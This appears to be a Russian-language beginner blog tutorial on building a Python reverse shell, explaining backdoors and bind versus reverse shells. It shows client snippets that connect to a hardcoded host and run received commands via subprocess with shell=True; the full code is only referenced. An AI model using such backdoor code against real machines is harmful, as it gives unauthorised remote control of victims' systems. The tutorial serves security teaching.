Еще один крутой учебник по кибербезопасности

Проще говоря, бэкдор — это программа, которая дает пользователю удаленный доступ к целевой машине.

Основная цель бэкдора — отправлять и получать команды (и данные) на целевую машину для получения ценных данных или повышения привилегий на целевой машине и в сети.

Чтобы облегчить это взаимодействие, хакер устанавливает вредоносный код на целевой компьютер, который создает соединение и позволяет хакеру отправлять информацию.

Оболочки — важная часть программного обеспечения, которую этичные хакеры могут использовать для проведения тестов на проникновение во время контракта. В этой статье мы научим начинающих этичных хакеров, как сделать свою первую оболочку.

В области информационной безопасности существует два типа полезной нагрузки: оболочки и обратные оболочки.

Оболочки создают сервер непосредственно на целевой машине, к которому могут подключиться хакеры.

Обратные оболочки имеют клиентский компонент и серверный компонент. Клиенты запускаются на целевой машине, уже имеющей IP-адрес злоумышленника.

Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки. Двигаясь вперед, мы будем кодировать обратную оболочку. Цель будет называться жертвой, а машина хакера — атакующим.

Во-первых, мы должны создать сервер, на котором будет работать злоумышленник. Есть четыре шага следующим образом:

  1. Получение нашего локального IP и указанного порта.
  2. Привязка IP и порта для создания сокета.
  3. Запуск слушателя.
  4. Отправка и получение команд в бесконечном цикле.

Затем мы подключимся к злоумышленнику на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.

Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:

REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()

Далее мы должны получать команды и использовать библиотеку subproccess для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:

command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:

Вот пример обратной оболочки в игре:

Запуск сначала сервера, а затем клиента позволит пользователям использовать сервер для отправки и получения данных, как и было обещано. Пожалуйста, проверьте это и дайте мне знать, что вы думаете.

Полный код см. в моем профиле на GitHub.